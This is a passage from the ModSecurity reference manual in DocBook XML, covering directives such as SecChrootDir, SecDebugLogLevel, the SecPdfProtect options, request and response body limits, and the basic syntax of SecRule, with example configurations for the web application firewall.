moreinfo="none">SecCacheTransformations On|Off
|
|
[options]</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecCacheTransformations On
|
|
"minlen:64,maxlen:0"</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><literal>Version</literal>: 2.5.0</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> N/A</para>
|
|
|
|
<para>First parameter:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">On</literal> - cache transformations
|
|
(per transaction, per phase) allowing identical transformations to
|
|
be performed only once. (default)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">Off</literal> - do not cache any
|
|
transformations, forcing all transformations to be performed for
|
|
each rule executed.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
|
|
<para>The following options are allowed (comma separated):</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">minlen:N</literal> - do not cache the
|
|
transformation if the value's length is less than N bytes. (default:
|
|
15)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">maxlen:N</literal> - do not cache the
|
|
transformation if the value's length is more than N bytes. A zero
|
|
value is interpreted as "unlimited". (default: 0)</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecChrootDir</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the directory path
|
|
that will be used to jail the web server process.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecChrootDir
|
|
/path/to/chroot/dir</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecChrootDir /chroot</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Main</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> The internal chroot
|
|
functionality provided by ModSecurity works great for simple setups. One
|
|
example of a simple setup is Apache serving static files only, or
|
|
running scripts using modules. Some problems you might encounter with
|
|
more complex setups:</para>
|
|
|
|
<orderedlist>
|
|
<listitem>
|
|
<para>DNS lookups do not work (this is because this feature requires
|
|
a shared library that is loaded on demand, after chroot takes
|
|
place).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>You cannot send email from PHP because it uses sendmail and
|
|
sendmail is outside the jail.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>In some cases Apache graceful no longer works.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<para>You should be aware that the internal chroot feature might not be
|
|
100% reliable. Due to the large number of default and third-party
|
|
modules available for the Apache web server, it is not possible to
|
|
verify the internal chroot works reliably with all of them. A module,
|
|
working from within Apache, can do things that make it easy to break out
|
|
of the jail. In particular, if you are using any of the modules that
|
|
fork in the module initialisation phase (e.g.
|
|
<literal>mod_fastcgi</literal>, <literal>mod_fcgid</literal>,
|
|
<literal>mod_cgid</literal>), you are advised to examine each Apache
|
|
process and observe its current working directory, process root, and the
|
|
list of open files. Consider what your options are and make your own
|
|
decision.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecComponentSignature</literal></title>
|
|
|
|
<para><emphasis>Description</emphasis>: Appends component signature to
|
|
the ModSecurity signature.</para>
|
|
|
|
<para><emphasis>Syntax</emphasis>: <literal>SecComponentSignature
|
|
"COMPONENT_NAME/X.Y.Z (COMMENT)"</literal></para>
|
|
|
|
<para><emphasis>Example usage</emphasis>: <literal>SecComponentSignature
|
|
"Core Rules/1.2.3"</literal></para>
|
|
|
|
<para><emphasis>Scope</emphasis>: Main</para>
|
|
|
|
<para><emphasis>Version</emphasis>: 2.5.0</para>
|
|
|
|
<para><emphasis>Notes</emphasis>: This directive should be used to make
|
|
the presence of significant ModSecurity components known. The entire
|
|
signature will be recorded in transaction audit log. It should be used
|
|
by ModSecurity module and rule set writers to make debugging
|
|
easier.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecContentInjection</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Enables content injection using
|
|
actions <literal>append</literal> and <literal>prepend</literal>.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal>SecContentInjection
|
|
(On|Off)</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal>SecContentInjection
|
|
On</literal></para>
|
|
|
|
<para><emphasis>Version</emphasis>: 2.5.0</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecCookieFormat</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Selects the cookie format that
|
|
will be used in the current configuration context.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecCookieFormat 0|1</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecCookieFormat 0</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
|
|
|
|
<para>Possible values are:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">0</literal> - use version 0
|
|
(Netscape) cookies. This is what most applications use. It is the
|
|
default value.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">1</literal> - use version 1
|
|
cookies.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecDataDir</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Path where persistent data (e.g.
|
|
IP address data, session data, etc) is to be stored.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecDataDir
|
|
/path/to/dir</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecDataDir /usr/local/apache/logs/data</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis><emphasis><emphasis>Scope</emphasis>:</emphasis>
|
|
</emphasis> Main</para>
|
|
|
|
<para><emphasis>Dependencies/Notes: </emphasis> This directive is needed
|
|
when initcol, setsid an setuid are used. Must be writable by the web
|
|
server user.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecDebugLog</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Path to the ModSecurity debug
|
|
log file.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecDebugLog
|
|
/path/to/modsec-debug.log</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecDebugLog
|
|
/usr/local/apache/logs/modsec-debug.log</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecDebugLogLevel</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the verboseness of
|
|
the debug log data.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecDebugLogLevel 0|1|2|3|4|5|6|7|8|9</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecDebugLogLevel 4</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Levels <literal
|
|
moreinfo="none">1 - 3</literal> are always sent to the Apache error log.
|
|
Therefore you can always use level <literal moreinfo="none">0</literal>
|
|
as the default logging level in production. Level <literal
|
|
moreinfo="none">5</literal> is useful when debugging. It is not
|
|
advisable to use higher logging levels in production as excessive
|
|
logging can slow down server significantly.</para>
|
|
|
|
<para>Possible values are:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">0</literal> - no logging.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">1</literal> - errors (intercepted
|
|
requests) only.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">2</literal> - warnings.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">3</literal> - notices.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">4</literal> - details of how
|
|
transactions are handled.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">5</literal> - as above, but including
|
|
information about each piece of information handled.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">9</literal> - log everything,
|
|
including very detailed debugging information.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecDefaultAction</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Defines the default action to
|
|
take on a rule match.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecDefaultAction
|
|
action1,action2,action3</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecDefaultAction
|
|
log,auditlog,deny,status:403,phase:2,t:lowercase</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Rules following a
|
|
SecDefaultAction directive will inherit this setting unless a specific
|
|
action is specified for an individual rule or until another
|
|
SecDefaultAction is specified. Take special note that in the logging
|
|
disruptive actions are not allowed, but this can inadvertently be
|
|
inherited using a disruptive action in SecDefaultAction.</para>
|
|
|
|
<para>The default value is minimal (differing from previous
|
|
versions):</para>
|
|
|
|
<programlisting format="linespecific">SecDefaultAction phase:2,log,pass</programlisting>
|
|
|
|
<para><emphasis>Note</emphasis></para>
|
|
|
|
<para>SecDefaultAction must specify a disruptive action and a processing
|
|
phase.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecGeoLookupDb</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Defines the path to the
|
|
geographical database file.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecGeoLookupDb /path/to/db</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecGeoLookupDb
|
|
/usr/local/geo/data/GeoLiteCity.dat</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Check out www.maxmind.com
|
|
for free database files.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecGuardianLog</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configuration directive to use
|
|
the httpd-guardian script to monitor for Denial of Service (DoS)
|
|
attacks.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecGuardianLog |/path/to/httpd-guardian</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecGuardianLog
|
|
|/usr/local/apache/bin/httpd-guardian</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Main</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> By default httpd-guardian
|
|
will defend against clients that send more 120 requests in a minute, or
|
|
more than 360 requests in five minutes.</para>
|
|
|
|
<para>Since 1.9, ModSecurity supports a new directive, SecGuardianLog,
|
|
that is designed to send all access data to another program using the
|
|
piped logging feature. Since Apache is typically deployed in a
|
|
multi-process fashion, making information sharing difficult, the idea is
|
|
to deploy a single external process to observe all requests in a
|
|
stateful manner, providing additional protection.</para>
|
|
|
|
<para>Development of a state of the art external protection tool will be
|
|
a focus of subsequent ModSecurity releases. However, a fully functional
|
|
tool is already available as part of the <ulink type=""
|
|
url="http://www.apachesecurity.net/tools/">Apache httpd tools
|
|
project</ulink>. The tool is called httpd-guardian and can be used to
|
|
defend against Denial of Service attacks. It uses the blacklist tool
|
|
(from the same project) to interact with an iptables-based (Linux) or
|
|
pf-based (*BSD) firewall, dynamically blacklisting the offending IP
|
|
addresses. It can also interact with SnortSam (http://www.snortsam.net).
|
|
Assuming httpd-guardian is already configured (look into the source code
|
|
for the detailed instructions) you only need to add one line to your
|
|
Apache configuration to deploy it:</para>
|
|
|
|
<programlisting format="linespecific">SecGuardianLog |/path/to/httpd-guardian</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecMarker</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Adds a fixed rule marker in the
|
|
ruleset to be used as a target in a <emphasis>skipAfter</emphasis>
|
|
action.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecMarker
|
|
id</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecMarker 9999</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
|
|
|
|
<para><programlisting format="linespecific">SecRule REQUEST_URI "^/$" "chain,<emphasis>skipAfter:960099</emphasis>"
|
|
SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain"
|
|
SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none"
|
|
SecRule &REQUEST_HEADERS:Host "@eq 0" \
|
|
"deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'"
|
|
SecRule &REQUEST_HEADERS:Accept "@eq 0" \
|
|
"log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'"
|
|
<emphasis>SecMarker 960099</emphasis></programlisting></para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecPdfProtect</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Enables the PDF XSS protection
|
|
functionality. Once enabled access to PDF files is tracked. Direct
|
|
access attempts are redirected to links that contain one-time tokens.
|
|
Requests with valid tokens are allowed through unmodified. Requests with
|
|
invalid tokens are also allowed through but with forced download of the
|
|
PDF files. This implementation uses response headers to detect PDF files
|
|
and thus can be used with dynamically generated PDF files that do not
|
|
have the <filename>.pdf</filename> extension in the request URI.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecPdfProtectMethod</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configure desired protection
|
|
method to be used when requests for PDF files are detected. Possible
|
|
values are <literal>TokenRedirection</literal> and
|
|
<literal>ForcedDownload</literal>. The token redirection approach will
|
|
attempt to redirect with tokens where possible. This allows PDF files to
|
|
continue to be opened inline but only works for GET requests. Forced
|
|
download always causes PDF files to be delivered as opaque binaries and
|
|
attachments. The latter will always be used for non-GET requests. Forced
|
|
download is considered to be more secure but may cause usability
|
|
problems for users ("This PDF won't open anymore!").</para>
|
|
|
|
<para><emphasis>Default:</emphasis>
|
|
<literal>TokenRedirection</literal></para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecPdfProtectSecret</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Defines the secret that will be
|
|
used to construct one-time tokens. You should use a reasonably long
|
|
value for the secret (e.g. 16 characters is good). Once selected the
|
|
secret should not be changed as it will break the tokens that were sent
|
|
prior to change. But it's not a big deal even if you change it. It will
|
|
just force download of PDF files with tokens that were issued in the
|
|
last few seconds.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecPdfProtectTimeout</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Defines the token timeout. After
|
|
token expires it can no longer be used to allow access to PDF file.
|
|
Request will be allowed through but the PDF will be delivered as
|
|
attachment.</para>
|
|
|
|
<para><emphasis>Default:</emphasis> <literal>10</literal></para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecPdfProtectTokenName</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Defines the name of the token.
|
|
The only reason you would want to change the name of the token is if you
|
|
wanted to hide the fact you are running ModSecurity. It's a good reason
|
|
but it won't really help as the adversary can look into the algorithm
|
|
used for PDF protection and figure it out anyway. It does raise the bar
|
|
slightly so go ahead if you want to.</para>
|
|
|
|
<para><emphasis>Default:</emphasis> <literal>PDFTOKEN</literal></para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRequestBodyAccess</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures whether request
|
|
bodies will be buffered and processed by ModSecurity by default.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecRequestBodyAccess On|Off</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRequestBodyAccess On</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> This directive is
|
|
required if you plan to inspect POST_PAYLOADS of requests. This
|
|
directive must be used along with the "phase:2" processing phase action
|
|
and REQUEST_BODY variable/location. If any of these 3 parts are not
|
|
configured, you will not be able to inspect the request bodies.</para>
|
|
|
|
<para>Possible values are:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">On</literal> - access request
|
|
bodies.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">Off</literal> - do not attempt to
|
|
access request bodies.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRequestBodyLimit</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the maximum request
|
|
body size ModSecurity will accept for buffering.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecRequestBodyLimit NUMBER_IN_BYTES</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRequestBodyLimit 134217728</literal></para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> 131072 KB (134217728
|
|
bytes) is the default setting. Anything over this limit will be rejected
|
|
with status code 413 Request Entity Too Large. There is a hard limit of
|
|
1 GB.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRequestBodyNoFilesLimit</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the maximum request
|
|
body size ModSecurity will accept for buffering, excluding the size of
|
|
files being transported in the request. This directive comes handy to
|
|
further reduce susceptibility to DoS attacks when someone is sending
|
|
request bodies of very large sizes. Web applications that require file
|
|
uploads must configure <literal>SecRequestBodyLimit</literal> to a high
|
|
value. Since large files are streamed to disk file uploads will not
|
|
increase memory consumption. However, it's still possible for someone to
|
|
take advantage of a large request body limit and send non-upload
|
|
requests with large body sizes. This directive eliminates that
|
|
loophole.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecRequestBodyNoFilesLimit
|
|
NUMBER_IN_BYTES</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRequestBodyLimit 131072</literal></para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> 1 MB (1048576 bytes) is
|
|
the default setting. This value is very conservative. For most
|
|
applications you should be able to reduce it down to 128 KB or lower.
|
|
Anything over the limit will be rejected with status code <literal>413
|
|
Request Entity Too Large</literal>. There is a hard limit of 1
|
|
GB.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRequestBodyInMemoryLimit</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the maximum request
|
|
body size ModSecurity will store in memory.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecRequestBodyInMemoryLimit
|
|
NUMBER_IN_BYTES</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRequestBodyInMemoryLimit 131072</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
|
|
|
|
<para>By default the limit is 128 KB:</para>
|
|
|
|
<programlisting format="linespecific"># Store up to 128 KB in memory
|
|
SecRequestBodyInMemoryLimit 131072</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecResponseBodyLimit</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the maximum response
|
|
body size that will be accepted for buffering.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecResponseBodyLimit NUMBER_IN_BYTES</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecResponseBodyLimit 524228</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Anything over this limit
|
|
will be rejected with status code 500 Internal Server Error. This
|
|
setting will not affect the responses with MIME types that are not
|
|
marked for buffering. There is a hard limit of 1 GB.</para>
|
|
|
|
<para>By default this limit is configured to 512 KB:</para>
|
|
|
|
<programlisting format="linespecific"># Buffer response bodies of up to 512 KB in length
|
|
SecResponseBodyLimit 524288</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecResponseBodyLimitAction</literal></title>
|
|
|
|
<para><emphasis>Description</emphasis>: Controls what happens once a
|
|
response body limit, configured with
|
|
<literal>SecResponseBodyLimit</literal>, is encountered. By default
|
|
ModSecurity will reject a response body that is longer than specified.
|
|
Some web sites, however, will produce very long responses making it
|
|
difficult to come up with a reasonable limit. Such sites would have to
|
|
raise the limit significantly to function properly defying the purpose
|
|
of having the limit in the first place (to control memory consumption).
|
|
With the ability to choose what happens once a limit is reached site
|
|
administrators can choose to inspect only the first part of the
|
|
response, the part that can fit into the desired limit, and let the rest
|
|
through. Some could argue that allowing parts of responses to go
|
|
uninspected is a weakness. This is true in theory but only applies to
|
|
cases where the attacker controls the output (e.g. can make it arbitrary
|
|
long). In such cases, however, it is not possible to prevent leakage
|
|
anyway. The attacker could compress, obfuscate, or even encrypt data
|
|
before it is sent back, and therefore bypass any monitoring
|
|
device.</para>
|
|
|
|
<para><emphasis>Syntax</emphasis>: <literal>SecResponseBodyLimitAction
|
|
Reject|ProcessPartial</literal></para>
|
|
|
|
<para><emphasis>Example Usage</emphasis>:
|
|
<literal>SecResponseBodyLimitAction ProcessPartial</literal></para>
|
|
|
|
<para><emphasis>Processing Phase</emphasis>: N/A</para>
|
|
|
|
<para><emphasis>Scope</emphasis>: Any</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecResponseBodyMimeType</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures which<literal
|
|
moreinfo="none"> MIME</literal> types are to be considered for response
|
|
body buffering.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecResponseBodyMimeType mime/type</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecResponseBodyMimeType text/plain
|
|
text/html</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Multiple<literal
|
|
moreinfo="none"> SecResponseBodyMimeType</literal> directives can be
|
|
used to add<literal moreinfo="none"> MIME</literal> types.</para>
|
|
|
|
<para>The default value is <literal
|
|
moreinfo="none">text/plaintext/html</literal>:</para>
|
|
|
|
<programlisting format="linespecific">SecResponseBodyMimeType text/plain text/html</programlisting>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecResponseBodyMimeTypesClear</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Clears the list of <literal
|
|
moreinfo="none">MIME</literal> types considered for response body
|
|
buffering, allowing you to start populating the list from
|
|
scratch.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecResponseBodyMimeTypesClear</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecResponseBodyMimeTypesClear</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecResponseBodyAccess</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures whether response
|
|
bodies are to be buffer and analysed or not.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecResponseBodyAccess On|Off</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecResponseBodyAccess On</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> This directive is
|
|
required if you plan to inspect HTML responses. This directive must be
|
|
used along with the "phase:4" processing phase action and RESPONSE_BODY
|
|
variable/location. If any of these 3 parts are not configured, you will
|
|
not be able to inspect the response bodies.</para>
|
|
|
|
<para>Possible values are:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">On</literal> - access response bodies
|
|
(but only if the MIME type matches, see above).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">Off</literal> - do not attempt to
|
|
access response bodies.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecRule</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> <literal
|
|
moreinfo="none">SecRule</literal> is the main ModSecurity directive. It
|
|
is used to analyse data and perform actions based on the results.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecRule
|
|
VARIABLES OPERATOR [ACTIONS]</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecRule REQUEST_URI "attack"</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
|
|
|
|
<para>In general, the format of this rule is as follows:</para>
|
|
|
|
<programlisting format="linespecific">SecRule VARIABLES OPERATOR [ACTIONS]</programlisting>
|
|
|
|
<para>The second part, <literal moreinfo="none">OPERATOR</literal>,
|
|
specifies how they are going to be checked. The third (optional) part,
|
|
<literal moreinfo="none">ACTIONS</literal>, specifies what to do
|
|
whenever the operator used performs a successful match against a
|
|
variable.</para>
|
|
|
|
<section>
|
|
<title>Variables in rules</title>
|
|
|
|
<para>The first part,<literal moreinfo="none"> VARIABLES</literal>,
|
|
specifies which variables are to be checked. For example, the
|
|
following rule will reject a transaction that has the word<emphasis>
|
|
dirty</emphasis> in the URI:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_URI dirty</programlisting>
|
|
|
|
<para>Each rule can specify one or more variables:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_URI|QUERY_STRING dirty</programlisting>
|
|
|
|
<para>There is a third format supported by the selection operator -
|
|
XPath expression. XPath expressions can only used against the special
|
|
variable XML, which is available only of the request body was
|
|
processed as XML.</para>
|
|
|
|
<programlisting format="linespecific">SecRule XML:/xPath/Expression dirty</programlisting>
|
|
|
|
<note>
|
|
<para>As you have just seen, not all collections support all
|
|
selection operator format types. You should refer to the
|
|
documentation of each collection to determine what is and isn't
|
|
supported.</para>
|
|
</note>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Operators in rules</title>
|
|
|
|
<para>In the simplest possible case you will use a regular expression
|
|
pattern as the second rule parameter. This is what we've done in the
|
|
examples above. If you do this ModSecurity assumes you want to use the
|
|
<literal moreinfo="none">rx</literal> operator. You can explicitly
|
|
specify the operator you want to use by using <literal
|
|
moreinfo="none">@</literal> as the first character in the second rule
|
|
parameter:</para>
|
|
|
|
<programlisting format="linespecific">SecRule REQUEST_URI "@rx dirty"</programlisting>
|
|
|
|
<para>Note how we had to use double quotes to delimit the second rule
|
|
parameter. This is because the second parameter now has a whitespace
|
|
in it. Any number of whitespace characters can follow the name of the
|
|
operator. If there are any non-whitespace characters there, they will
|
|
all be treated as a special parameter to the operator. In the case of
|
|
the regular expression operator the special parameter is the pattern
|
|
that will be used for comparison.</para>
|
|
|
|
<para>The @ can be the second character if you are using negation to
|
|
negate the result returned by the operator:</para>
|
|
|
|
